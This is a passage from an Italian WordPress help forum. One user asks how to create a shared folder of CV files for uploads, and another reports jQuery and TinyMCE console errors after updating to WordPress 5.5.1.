      Vorrei sapere (se possibile) creare una cartella specifica ed unica … dove tutti gli utenti quando vanno per fare l’upload del file ritrovassero il tutto in una cartella con CV_1.pdf CV_2.pdf CV_3.pdf CV_5.pdf CV_7.pdf per poterli allegare.

      Grazie

    • Buongiorno,
      dopo l’aggiornamento di wordpress all’ultima versione 5.5.1–it_IT,
      mi è apparso in Console di ispezione elemento una serie di errori
      che riporto qui di seguito in parte:

      Uncaught TypeError: jQuery(…).live is not a function
      at HTMLDocument.<anonymous> (admin.php?page=et-settings:93)
      at i (jquery.js?ver=1.12.4-wp:2)
      at Object.fireWith [as resolveWith] (jquery.js?ver=1.12.4-wp:2)
      at Function.ready (jquery.js?ver=1.12.4-wp:2)
      at HTMLDocument.J (jquery.js?ver=1.12.4-wp:2)
      plugin.min.js?ver=49100-20200624:1 Deprecated TinyMCE API call: <target>.onChange.add(..)
      wp-auth-check.min.js?ver=5.5.1:2 Uncaught TypeError: Cannot read property ‘hasClass’ of undefined
      at HTMLDocument.<anonymous> (wp-auth-check.min.js?ver=5.5.1:2)

      Riuscite ad aiutarmi?
      Grazie

Stai vedendo 15 risultati - da 1 a 15 (di 33 totali)